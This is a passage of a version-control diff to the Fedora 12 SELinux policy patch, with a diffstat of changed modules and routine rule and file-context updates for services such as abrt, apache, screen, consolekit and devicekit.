 policy/modules/apps/pulseaudio.te         |   11 
 policy/modules/apps/qemu.fc               |    4 
 policy/modules/apps/qemu.if               |  190 +++
 policy/modules/apps/qemu.te               |   82 +
 policy/modules/apps/sambagui.fc           |    1 
 policy/modules/apps/sambagui.if           |    2 
 policy/modules/apps/sambagui.te           |   57 +
 policy/modules/apps/sandbox.fc            |    1 
 policy/modules/apps/sandbox.if            |  184 +++
 policy/modules/apps/sandbox.te            |  330 ++++++
 policy/modules/apps/screen.if             |    7 
 policy/modules/apps/sectoolm.fc           |    6 
 policy/modules/apps/sectoolm.if           |    3 
 policy/modules/apps/sectoolm.te           |  120 ++
 policy/modules/apps/seunshare.fc          |    2 
 policy/modules/apps/seunshare.if          |   81 +
 policy/modules/apps/seunshare.te          |   45 
 policy/modules/apps/vmware.te             |    1 
 policy/modules/apps/wine.fc               |   24 
 policy/modules/apps/wine.if               |  115 ++
 policy/modules/apps/wine.te               |   34 
 policy/modules/kernel/corecommands.fc     |   31 
 policy/modules/kernel/corecommands.if     |   21 
 policy/modules/kernel/corenetwork.te.in   |   36 
 policy/modules/kernel/devices.fc          |   11 
 policy/modules/kernel/devices.if          |  255 +++++
 policy/modules/kernel/devices.te          |   25 
 policy/modules/kernel/domain.if           |  151 ++
 policy/modules/kernel/domain.te           |   88 +
 policy/modules/kernel/files.fc            |    3 
 policy/modules/kernel/files.if            |  298 +++++
 policy/modules/kernel/files.te            |    6 
 policy/modules/kernel/filesystem.fc       |    2 
 policy/modules/kernel/filesystem.if       |  211 ++++
 policy/modules/kernel/filesystem.te       |    9 
 policy/modules/kernel/kernel.if           |   58 +
 policy/modules/kernel/kernel.te           |   29 
 policy/modules/kernel/selinux.if          |   25 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    3 
 policy/modules/kernel/terminal.fc         |    1 
 policy/modules/kernel/terminal.if         |   40 
 policy/modules/kernel/terminal.te         |    1 
 policy/modules/roles/guest.te             |    8 
 policy/modules/roles/staff.te             |  123 --
 policy/modules/roles/sysadm.te            |  124 --
 policy/modules/roles/unconfineduser.fc    |    8 
 policy/modules/roles/unconfineduser.if    |  638 ++++++++++++
 policy/modules/roles/unconfineduser.te    |  411 ++++++++
 policy/modules/roles/unprivuser.te        |  127 --
 policy/modules/roles/xguest.te            |   37 
 policy/modules/services/abrt.fc           |    2 
 policy/modules/services/abrt.if           |   58 +
 policy/modules/services/abrt.te           |   26 
 policy/modules/services/afs.fc            |    1 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/aisexec.fc        |   12 
 policy/modules/services/aisexec.if        |  106 ++
 policy/modules/services/aisexec.te        |  112 ++
 policy/modules/services/amavis.te         |    2 
 policy/modules/services/apache.fc         |   38 
 policy/modules/services/apache.if         |  410 +++++---
 policy/modules/services/apache.te         |  445 +++++++-
 policy/modules/services/apm.te            |    2 
 policy/modules/services/automount.te      |    1 
 policy/modules/services/bind.if           |   40 
 policy/modules/services/bluetooth.if      |   21 
 policy/modules/services/bluetooth.te      |    9 
 policy/modules/services/ccs.fc            |    8 
 policy/modules/services/ccs.te            |   33 
 policy/modules/services/certmaster.te     |    2 
 policy/modules/services/chronyd.fc        |   11 
 policy/modules/services/chronyd.if        |  105 ++
 policy/modules/services/chronyd.te        |   67 +
 policy/modules/services/clamav.te         |   16 
 policy/modules/services/clogd.fc          |    4 
 policy/modules/services/clogd.if          |   98 +
 policy/modules/services/clogd.te          |   62 +
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   24 
 policy/modules/services/cobbler.te        |    5 
 policy/modules/services/consolekit.if     |   39 
 policy/modules/services/consolekit.te     |   20 
 policy/modules/services/corosync.fc       |   13 
 policy/modules/services/corosync.if       |  108 ++
 policy/modules/services/corosync.te       |  109 ++
 policy/modules/services/courier.if        |   18 
 policy/modules/services/courier.te        |    1 
 policy/modules/services/cron.fc           |    6 
 policy/modules/services/cron.if           |   72 +
 policy/modules/services/cron.te           |   82 +
 policy/modules/services/cups.fc           |   13 
 policy/modules/services/cups.te           |   42 
 policy/modules/services/cvs.te            |    1 
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   49 
 policy/modules/services/dbus.te           |   25 
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 
 policy/modules/services/devicekit.fc      |    2 
 policy/modules/services/devicekit.if      |   22 
 policy/modules/services/devicekit.te      |   58 +
 policy/modules/services/dnsmasq.te        |   12 
 policy/modules/services/dovecot.te        |   22 
 policy/modules/services/exim.te           |    5 
 policy/modules/services/fail2ban.te       |    2 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |    4 
 policy/modules/services/ftp.te            |   60 +
 policy/modules/services/git.fc            |    8 
 policy/modules/services/git.if            |  286 +++++
 policy/modules/services/git.te            |  166 +++
 policy/modules/services/gpm.te            |    3 
 policy/modules/services/gpsd.fc           |    5 
 policy/modules/services/gpsd.if           |   27 
 policy/modules/services/gpsd.te           |   14 
 policy/modules/services/hal.fc            |    1 
 policy/modules/services/hal.if            |   18 
 policy/modules/services/hal.te            |   48 
 policy/modules/services/howl.te           |    2 
 policy/modules/services/inetd.fc          |    2 
 policy/modules/services/inetd.te          |    4 
 policy/modules/services/irqbalance.te     |    4 
 policy/modules/services/kerberos.te       |   13 
 policy/modules/services/kerneloops.te     |    2 
 policy/modules/services/ktalk.te          |    1 
 policy/modules/services/lircd.fc          |    1 
 policy/modules/services/lircd.te          |   12 
 policy/modules/services/mailman.te        |    4 
 policy/modules/services/memcached.te      |    2 
 policy/modules/services/milter.if         |    2 
 policy/modules/services/modemmanager.te   |    3 
 policy/modules/services/mta.fc            |    2 
 policy/modules/services/mta.if            |   10 
 policy/modules/services/mta.te            |   36 
 policy/modules/services/munin.fc          |    3 
 policy/modules/services/munin.te          |    3 
 policy/modules/services/mysql.te          |    7 
 policy/modules/services/nagios.fc         |   11 
 policy/modules/services/nagios.if         |   70 +
 policy/modules/services/nagios.te         |   55 -
 policy/modules/services/networkmanager.fc |   14 
 policy/modules/services/networkmanager.if |   65 +
 policy/modules/services/networkmanager.te |  115 +-
 policy/modules/services/nis.fc            |    5 
 policy/modules/services/nis.if            |   87 +
 policy/modules/services/nis.te            |   13 
 policy/modules/services/nscd.if           |   18 
 policy/modules/services/nscd.te           |   17 
 policy/modules/services/nslcd.if          |    8 
 policy/modules/services/ntp.if            |   46 
 policy/modules/services/ntp.te            |    8 
 policy/modules/services/nut.fc            |   15 
 policy/modules/services/nut.if            |   82 +
 policy/modules/services/nut.te            |  140 ++
 policy/modules/services/nx.fc             |    1 
 policy/modules/services/nx.if             |   19 
 policy/modules/services/nx.te             |    6 
 policy/modules/services/oddjob.if         |    1 
 policy/modules/services/openvpn.te        |    2 
 policy/modules/services/pcscd.te          |    3 
 policy/modules/services/pegasus.te        |   28 
 policy/modules/services/plymouth.fc       |    5 
 policy/modules/services/plymouth.if       |  286 +++++
 policy/modules/services/plymouth.te       |   96 +
 policy/modules/services/policykit.fc      |    5 
 policy/modules/services/policykit.if      |   48 
 policy/modules/services/policykit.te      |   64 -
 policy/modules/services/postfix.fc        |    2 
 policy/modules/services/postfix.if        |  150 ++
 policy/modules/services/postfix.te        |  142 ++
 policy/modules/services/postgresql.fc     |   16 
 policy/modules/services/postgresql.if     |   43 
 policy/modules/services/postgresql.te     |    9 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |   16 
 policy/modules/services/prelude.te        |    1 
 policy/modules/services/privoxy.fc        |    3 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/procmail.te       |   12 
 policy/modules/services/pyzor.fc          |    4 
 policy/modules/services/pyzor.if          |   47 
 policy/modules/services/pyzor.te          |   37 
 policy/modules/services/radvd.te          |    1 
 policy/modules/services/razor.fc          |    1 
 policy/modules/services/razor.if          |   42 
 policy/modules/services/razor.te          |   32 
 policy/modules/services/rgmanager.fc      |    8 
 policy/modules/services/rgmanager.if      |   59 +
 policy/modules/services/rgmanager.te      |   83 +
 policy/modules/services/rhcs.fc           |   22 
 policy/modules/services/rhcs.if           |  348 ++++++
 policy/modules/services/rhcs.te           |  394 +++++++
 policy/modules/services/ricci.te          |   30 
 policy/modules/services/rpc.if            |    7 
 policy/modules/services/rpc.te            |   16 
 policy/modules/services/rpcbind.if        |   20 
 policy/modules/services/rpcbind.te        |    1 
 policy/modules/services/rsync.te          |   23 
 policy/modules/services/rtkit.if          |   20 
 policy/modules/services/rtkit.te          |    2 
 policy/modules/services/samba.fc          |    4 
 policy/modules/services/samba.if          |  104 ++
 policy/modules/services/samba.te          |   89 +
 policy/modules/services/sasl.te           |   15 
 policy/modules/services/sendmail.if       |  137 ++
 policy/modules/services/sendmail.te       |   87 +
 policy/modules/services/setroubleshoot.fc |    2 
 policy/modules/services/setroubleshoot.if |  102 +-
 policy/modules/services/setroubleshoot.te |   81 +
 policy/modules/services/smartmon.te       |   15 
 policy/modules/services/snmp.if           |   38 
 policy/modules/services/snmp.te           |    4 
 policy/modules/services/spamassassin.fc   |   15 
 policy/modules/services/spamassassin.if   |   89 +
 policy/modules/services/spamassassin.te   |  137 ++
 policy/modules/services/squid.te          |    9 
 policy/modules/services/ssh.fc            |    2 
 policy/modules/services/ssh.if            |  184 ++-
 policy/modules/services/ssh.te            |   77 -
 policy/modules/services/sssd.fc           |    5 
 policy/modules/services/sssd.if           |   43 
 policy/modules/services/sssd.te           |   12 
 policy/modules/services/sysstat.te        |    5 
 policy/modules/services/tftp.fc           |    2 
 policy/modules/services/uucp.te           |    7 
 policy/modules/services/virt.fc           |   12 
 policy/modules/services/virt.if           |  165 +++
 policy/modules/services/virt.te           |  286 +++++
 policy/modules/services/w3c.te            |    7 
 policy/modules/services/xserver.fc        |   37 
 policy/modules/services/xserver.if        |  588 ++++++++++-
 policy/modules/services/xserver.te        |  336 +++++-
 policy/modules/system/application.if      |   20 
 policy/modules/system/application.te      |   11 
 policy/modules/system/authlogin.fc        |    9 
 policy/modules/system/authlogin.if        |  207 +++-
 policy/modules/system/authlogin.te        |   10 
 policy/modules/system/fstools.fc          |    2 
 policy/modules/system/fstools.te          |    7 
 policy/modules/system/init.fc             |    7 
 policy/modules/system/init.if             |  158 ++-
 policy/modules/system/init.te             |  285 ++++-
 policy/modules/system/ipsec.fc            |    3 
 policy/modules/system/ipsec.if            |   25 
 policy/modules/system/ipsec.te            |   58 +
 policy/modules/system/iptables.fc         |   17 
 policy/modules/system/iptables.if         |   97 +
 policy/modules/system/iptables.te         |   15 
 policy/modules/system/iscsi.if            |   40 
 policy/modules/system/iscsi.te            |    6 
 policy/modules/system/libraries.fc        |  160 ++-
 policy/modules/system/libraries.if        |    5 
 policy/modules/system/libraries.te        |   18 
 policy/modules/system/locallogin.te       |   30 
 policy/modules/system/logging.fc          |   12 
 policy/modules/system/logging.if          |   18 
 policy/modules/system/logging.te          |   38 
 policy/modules/system/lvm.if              |   39 
 policy/modules/system/lvm.te              |   29 
 policy/modules/system/miscfiles.fc        |    2 
 policy/modules/system/miscfiles.if        |   60 +
 policy/modules/system/miscfiles.te        |    3 
 policy/modules/system/modutils.fc         |    1 
 policy/modules/system/modutils.if         |   46 
 policy/modules/system/modutils.te         |   46 
 policy/modules/system/mount.fc            |    7 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |   76 +
 policy/modules/system/raid.fc             |    2 
 policy/modules/system/raid.te             |    8 
 policy/modules/system/selinuxutil.fc      |   17 
 policy/modules/system/selinuxutil.if      |  309 ++++++
 policy/modules/system/selinuxutil.te      |  229 +---
 policy/modules/system/setrans.if          |   20 
 policy/modules/system/sysnetwork.fc       |    9 
 policy/modules/system/sysnetwork.if       |  117 ++
 policy/modules/system/sysnetwork.te       |   77 +
 policy/modules/system/udev.fc             |    3 
 policy/modules/system/udev.if             |   39 
 policy/modules/system/udev.te             |   39 
 policy/modules/system/unconfined.fc       |   15 
 policy/modules/system/unconfined.if       |  443 --------
 policy/modules/system/unconfined.te       |  224 ----
 policy/modules/system/userdomain.fc       |    6 
 policy/modules/system/userdomain.if       | 1515 ++++++++++++++++++++++--------
 policy/modules/system/userdomain.te       |   47 
 policy/modules/system/xen.fc              |    6 
 policy/modules/system/xen.if              |   28 
 policy/modules/system/xen.te              |  137 ++
 policy/support/obj_perm_sets.spt          |   14 
 policy/users                              |   13 
 368 files changed, 17912 insertions(+), 2717 deletions(-)

Index: policy-F12.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/policy-F12.patch,v
retrieving revision 1.115
retrieving revision 1.116
diff -u -p -r1.115 -r1.116
--- policy-F12.patch	21 Oct 2009 15:55:49 -0000	1.115
+++ policy-F12.patch	22 Oct 2009 19:59:10 -0000	1.116
@@ -1953,7 +1953,7 @@ diff -b -B --ignore-all-space --exclude-
 +/usr/lib/wingide-[^/]+/bin/PyCore/python -- gen_context(system_u:object_r:execmem_exec_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/execmem.if serefpolicy-3.6.32/policy/modules/apps/execmem.if
 --- nsaserefpolicy/policy/modules/apps/execmem.if	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/apps/execmem.if	2009-10-09 10:34:56.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/apps/execmem.if	2009-10-22 14:59:29.000000000 -0400
 @@ -0,0 +1,74 @@
 +## <summary>execmem domain</summary>
 +
@@ -3260,13 +3260,11 @@ diff -b -B --ignore-all-space --exclude-
  ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/nsplugin.fc serefpolicy-3.6.32/policy/modules/apps/nsplugin.fc
 --- nsaserefpolicy/policy/modules/apps/nsplugin.fc	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/apps/nsplugin.fc	2009-10-12 09:30:06.000000000 -0400
-@@ -0,0 +1,13 @@
++++ serefpolicy-3.6.32/policy/modules/apps/nsplugin.fc	2009-10-22 11:45:47.000000000 -0400
+@@ -0,0 +1,11 @@
 +HOME_DIR/\.adobe(/.*)?			gen_context(system_u:object_r:nsplugin_home_t,s0)
 +HOME_DIR/\.macromedia(/.*)?		gen_context(system_u:object_r:nsplugin_home_t,s0)
 +HOME_DIR/\.gstreamer-.*			gen_context(system_u:object_r:nsplugin_home_t,s0)
-+HOME_DIR/\.config/totem(/.*)?		gen_context(system_u:object_r:nsplugin_home_t,s0)
-+HOME_DIR/\.config/gxine(/.*)?		gen_context(system_u:object_r:nsplugin_home_t,s0)
 +HOME_DIR/\.gcjwebplugin(/.*)?		gen_context(system_u:object_r:nsplugin_home_t,s0)
 +HOME_DIR/\.icedteaplugin(/.*)?		gen_context(system_u:object_r:nsplugin_home_t,s0)
 +
@@ -5001,8 +4999,16 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/screen.if serefpolicy-3.6.32/policy/modules/apps/screen.if
 --- nsaserefpolicy/policy/modules/apps/screen.if	2009-09-09 09:23:16.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/apps/screen.if	2009-09-30 16:12:48.000000000 -0400
-@@ -79,6 +79,11 @@
++++ serefpolicy-3.6.32/policy/modules/apps/screen.if	2009-10-22 14:51:34.000000000 -0400
+@@ -45,6 +45,7 @@
+ 
+ 	allow $1_screen_t self:capability { setuid setgid fsetid };
+ 	allow $1_screen_t self:process signal_perms;
++	allow $1_screen_t self:fifo_file rw_fifo_file_perms;
+ 	allow $1_screen_t self:tcp_socket create_stream_socket_perms;
+ 	allow $1_screen_t self:udp_socket create_socket_perms;
+ 	# Internal screen networking
+@@ -79,6 +80,11 @@
  	relabel_files_pattern($3, screen_home_t, screen_home_t)
  	relabel_lnk_files_pattern($3, screen_home_t, screen_home_t)
  
@@ -5014,6 +5020,14 @@ diff -b -B --ignore-all-space --exclude-
  	kernel_read_system_state($1_screen_t)
  	kernel_read_kernel_sysctls($1_screen_t)
  
+@@ -117,6 +123,7 @@
+ 	fs_search_auto_mountpoints($1_screen_t)
+ 	fs_getattr_xattr_fs($1_screen_t)
+ 
++	auth_domtrans_chk_passwd($1_screen_t)
+ 	auth_use_nsswitch($1_screen_t)
+ 	auth_dontaudit_read_shadow($1_screen_t)
+ 	auth_dontaudit_exec_utempter($1_screen_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/sectoolm.fc serefpolicy-3.6.32/policy/modules/apps/sectoolm.fc
 --- nsaserefpolicy/policy/modules/apps/sectoolm.fc	1969-12-31 19:00:00.000000000 -0500
 +++ serefpolicy-3.6.32/policy/modules/apps/sectoolm.fc	2009-10-21 09:33:05.000000000 -0400
@@ -6181,7 +6195,7 @@ diff -b -B --ignore-all-space --exclude-
  
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/domain.if serefpolicy-3.6.32/policy/modules/kernel/domain.if
 --- nsaserefpolicy/policy/modules/kernel/domain.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/kernel/domain.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/kernel/domain.if	2009-10-22 14:59:27.000000000 -0400
 @@ -44,34 +44,6 @@
  interface(`domain_type',`
  	# start with basic domain
@@ -6383,7 +6397,7 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/domain.te serefpolicy-3.6.32/policy/modules/kernel/domain.te
 --- nsaserefpolicy/policy/modules/kernel/domain.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/kernel/domain.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/kernel/domain.te	2009-10-21 16:43:26.000000000 -0400
 @@ -5,6 +5,13 @@
  #
  # Declarations
@@ -6454,7 +6468,7 @@ diff -b -B --ignore-all-space --exclude-
  # Act upon any other process.
  allow unconfined_domain_type domain:process ~{ transition dyntransition execmem execstack execheap };
  
-@@ -153,3 +174,66 @@
+@@ -153,3 +174,70 @@
  
  # receive from all domains over labeled networking
  domain_all_recvfrom_all_domains(unconfined_domain_type)
@@ -6479,6 +6493,10 @@ diff -b -B --ignore-all-space --exclude-
 +# these seem questionable:
 +
 +optional_policy(`
++	abrt_signull(domain)
++')
++
++optional_policy(`
 +	rpm_use_fds(domain)
 +	rpm_read_pipes(domain)
 +	rpm_dontaudit_leaks(domain)
@@ -8786,7 +8804,7 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/roles/unconfineduser.te serefpolicy-3.6.32/policy/modules/roles/unconfineduser.te
 --- nsaserefpolicy/policy/modules/roles/unconfineduser.te	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/roles/unconfineduser.te	2009-10-17 07:22:57.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/roles/unconfineduser.te	2009-10-22 14:38:40.000000000 -0400
 @@ -0,0 +1,411 @@
 +policy_module(unconfineduser, 1.0.0)
 +
@@ -9114,7 +9132,7 @@ diff -b -B --ignore-all-space --exclude-
 +')
 +
 +optional_policy(`
-+	xserver_rw_shm(unconfined_t)
++	xserver_role(unconfined_r, unconfined_t)
 +')
 +
 +########################################
@@ -9129,6 +9147,10 @@ diff -b -B --ignore-all-space --exclude-
 +rpm_transition_script(unconfined_execmem_t)
 +
 +optional_policy(`
++	sandbox_transition(unconfined_execmem_t, unconfined_r)
++')
++
++optional_policy(`
 +	init_dbus_chat_script(unconfined_execmem_t)
 +	dbus_system_bus_client(unconfined_execmem_t)
 +	unconfined_dbus_chat(unconfined_execmem_t)
@@ -9143,10 +9165,6 @@ diff -b -B --ignore-all-space --exclude-
 +	hal_dbus_chat(unconfined_execmem_t)
 +')
 +
-+optional_policy(`
-+	xserver_rw_shm(unconfined_execmem_t)
-+')
-+
 +########################################
 +#
 +# Unconfined notrans Local policy
@@ -9444,8 +9462,8 @@ diff -b -B --ignore-all-space --exclude-
  
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/abrt.if serefpolicy-3.6.32/policy/modules/services/abrt.if
 --- nsaserefpolicy/policy/modules/services/abrt.if	2009-09-16 09:09:20.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/abrt.if	2009-10-14 08:42:20.000000000 -0400
-@@ -75,6 +75,46 @@
++++ serefpolicy-3.6.32/policy/modules/services/abrt.if	2009-10-21 16:42:52.000000000 -0400
+@@ -75,6 +75,64 @@
  	read_files_pattern($1, abrt_var_log_t, abrt_var_log_t)
  ')
  
@@ -9489,13 +9507,31 @@ diff -b -B --ignore-all-space --exclude-
 +	manage_files_pattern($1, abrt_var_cache_t, abrt_var_cache_t)
 +')
 +
++########################################
++## <summary>
++##	Send a null signal to abrt.
++## </summary>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access.
++##	</summary>
++## </param>
++#
++interface(`abrt_signull',`
++	gen_require(`
++		type abrt_t;
++	')
++
++	allow $1 abrt_t:process signull;
++')
++
  #####################################
  ## <summary>
  ##	All of the rules required to administrate 
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/abrt.te serefpolicy-3.6.32/policy/modules/services/abrt.te
 --- nsaserefpolicy/policy/modules/services/abrt.te	2009-09-16 09:09:20.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/abrt.te	2009-10-21 10:05:17.000000000 -0400
-@@ -75,6 +75,7 @@
++++ serefpolicy-3.6.32/policy/modules/services/abrt.te	2009-10-22 14:59:56.000000000 -0400
+@@ -75,11 +75,14 @@
  
  corecmd_exec_bin(abrt_t)
  corecmd_exec_shell(abrt_t)
@@ -9503,7 +9539,14 @@ diff -b -B --ignore-all-space --exclude-
  
  corenet_tcp_connect_http_port(abrt_t)
  
-@@ -101,17 +102,32 @@
+ dev_read_urand(abrt_t)
+ 
++domain_signull_all_domains(abrt_t)
++
+ files_getattr_all_files(abrt_t)
+ files_read_etc_files(abrt_t)
+ files_read_usr_files(abrt_t)
+@@ -101,17 +104,32 @@
  userdom_read_user_home_content_files(abrt_t)
  
  optional_policy(`
@@ -10522,7 +10565,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/apache.te serefpolicy-3.6.32/policy/modules/services/apache.te
 --- nsaserefpolicy/policy/modules/services/apache.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/apache.te	2009-10-09 12:09:39.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/apache.te	2009-10-21 12:45:10.000000000 -0400
 @@ -19,6 +19,8 @@
  # Declarations
  #
@@ -11231,7 +11274,7 @@ diff -b -B --ignore-all-space --exclude-
  manage_files_pattern(httpd_rotatelogs_t, httpd_log_t, httpd_log_t)
  
  kernel_read_kernel_sysctls(httpd_rotatelogs_t)
-@@ -754,6 +982,12 @@
+@@ -754,11 +982,88 @@
  
  tunable_policy(`httpd_enable_cgi && httpd_unified',`
  	allow httpd_user_script_t httpdcontent:file entrypoint;
@@ -11244,9 +11287,13 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  # allow accessing files/dirs below the users home dir
-@@ -762,3 +996,74 @@
- 	userdom_search_user_home_dirs(httpd_suexec_t)
- 	userdom_search_user_home_dirs(httpd_user_script_t)
+ tunable_policy(`httpd_enable_homedirs',`
+-	userdom_search_user_home_dirs(httpd_t)
+-	userdom_search_user_home_dirs(httpd_suexec_t)
+-	userdom_search_user_home_dirs(httpd_user_script_t)
++	userdom_search_user_home_content(httpd_t)
++	userdom_search_user_home_content(httpd_suexec_t)
++	userdom_search_user_home_content(httpd_user_script_t)
  ')
 +
 +tunable_policy(`httpd_read_user_content',`
@@ -12103,7 +12150,7 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/consolekit.te serefpolicy-3.6.32/policy/modules/services/consolekit.te
 --- nsaserefpolicy/policy/modules/services/consolekit.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/consolekit.te	2009-10-11 07:54:38.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/consolekit.te	2009-10-22 09:04:43.000000000 -0400
 @@ -62,12 +62,15 @@
  
  init_telinit(consolekit_t)
@@ -12142,7 +12189,7 @@ diff -b -B --ignore-all-space --exclude-
  	policykit_domtrans_auth(consolekit_t)
  	policykit_read_lib(consolekit_t)
  	policykit_read_reload(consolekit_t)
-@@ -108,10 +115,20 @@
+@@ -108,10 +115,21 @@
  optional_policy(`
  	xserver_read_xdm_pid(consolekit_t)
  	xserver_read_user_xauth(consolekit_t)
@@ -12155,6 +12202,7 @@ diff -b -B --ignore-all-space --exclude-
  optional_policy(`
 +	udev_domtrans(consolekit_t)
 +	udev_read_db(consolekit_t)
++	udev_signal(consolekit_t)
 +')
 +
 +optional_policy(`
@@ -12446,7 +12494,16 @@ diff -b -B --ignore-all-space --exclude-
  
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/cron.fc serefpolicy-3.6.32/policy/modules/services/cron.fc
 --- nsaserefpolicy/policy/modules/services/cron.fc	2009-09-16 09:09:20.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/cron.fc	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/cron.fc	2009-10-22 11:35:47.000000000 -0400
+@@ -14,7 +14,7 @@
+ /var/run/anacron\.pid		--	gen_context(system_u:object_r:crond_var_run_t,s0)
+ /var/run/atd\.pid		--	gen_context(system_u:object_r:crond_var_run_t,s0)
+ /var/run/crond?\.pid		--	gen_context(system_u:object_r:crond_var_run_t,s0)
+-/var/run/crond\.reboot		--	gen_context(system_u:object_r:crond_var_run_t,s0)
++/var/run/crond?\.reboot		--	gen_context(system_u:object_r:crond_var_run_t,s0)
+ /var/run/fcron\.fifo		-s	gen_context(system_u:object_r:crond_var_run_t,s0)
+ /var/run/fcron\.pid		--	gen_context(system_u:object_r:crond_var_run_t,s0)
+ 
 @@ -45,3 +45,7 @@
  /var/spool/fcron/systab\.orig	--	gen_context(system_u:object_r:system_cron_spool_t,s0)
  /var/spool/fcron/systab		--	gen_context(system_u:object_r:system_cron_spool_t,s0)
@@ -13360,7 +13417,7 @@ diff -b -B --ignore-all-space --exclude-
  	allow $1 devicekit_t:process { ptrace signal_perms getattr };
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/devicekit.te serefpolicy-3.6.32/policy/modules/services/devicekit.te
 --- nsaserefpolicy/policy/modules/services/devicekit.te	2009-07-29 15:15:33.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/devicekit.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/devicekit.te	2009-10-22 11:15:43.000000000 -0400
 @@ -36,12 +36,15 @@
  manage_dirs_pattern(devicekit_t, devicekit_var_run_t, devicekit_var_run_t)
  manage_files_pattern(devicekit_t, devicekit_var_run_t, devicekit_var_run_t)
@@ -13444,12 +13501,16 @@ diff -b -B --ignore-all-space --exclude-
  	policykit_domtrans_auth(devicekit_disk_t)
  	policykit_read_lib(devicekit_disk_t)
  	policykit_read_reload(devicekit_disk_t)
-@@ -134,14 +156,22 @@
+@@ -134,14 +156,26 @@
  	udev_read_db(devicekit_disk_t)
  ')
  
 +
 +optional_policy(`
++	virt_read_images(devicekit_disk_t)
++')
++
++optional_policy(`
 +	unconfined_domain(devicekit_t)
 +	unconfined_domain(devicekit_power_t)
 +	unconfined_domain(devicekit_disk_t)
@@ -13468,7 +13529,7 @@ diff -b -B --ignore-all-space --exclude-
  
  manage_dirs_pattern(devicekit_power_t, devicekit_var_lib_t, devicekit_var_lib_t)
  manage_files_pattern(devicekit_power_t, devicekit_var_lib_t, devicekit_var_lib_t)
-@@ -151,6 +181,7 @@
+@@ -151,6 +185,7 @@
  kernel_read_system_state(devicekit_power_t)
  kernel_rw_hotplug_sysctls(devicekit_power_t)
  kernel_rw_kernel_sysctl(devicekit_power_t)
@@ -13476,7 +13537,7 @@ diff -b -B --ignore-all-space --exclude-
  
  corecmd_exec_bin(devicekit_power_t)
  corecmd_exec_shell(devicekit_power_t)
-@@ -159,6 +190,7 @@
+@@ -159,6 +194,7 @@
  
  domain_read_all_domains_state(devicekit_power_t)
  
@@ -13484,7 +13545,7 @@ diff -b -B --ignore-all-space --exclude-
  dev_rw_generic_usb_dev(devicekit_power_t)
  dev_rw_netcontrol(devicekit_power_t)
  dev_rw_sysfs(devicekit_power_t)
-@@ -167,12 +199,17 @@
+@@ -167,12 +203,17 @@
  files_read_etc_files(devicekit_power_t)
  files_read_usr_files(devicekit_power_t)
  
@@ -13502,7 +13563,7 @@ diff -b -B --ignore-all-space --exclude-
  userdom_read_all_users_state(devicekit_power_t)
  
  optional_policy(`
-@@ -180,8 +217,11 @@
+@@ -180,8 +221,11 @@
  ')
  
  optional_policy(`
@@ -13515,7 +13576,7 @@ diff -b -B --ignore-all-space --exclude-
  	allow devicekit_power_t devicekit_t:dbus send_msg;
  
  	optional_policy(`
-@@ -203,17 +243,23 @@
+@@ -203,17 +247,23 @@
  
  optional_policy(`
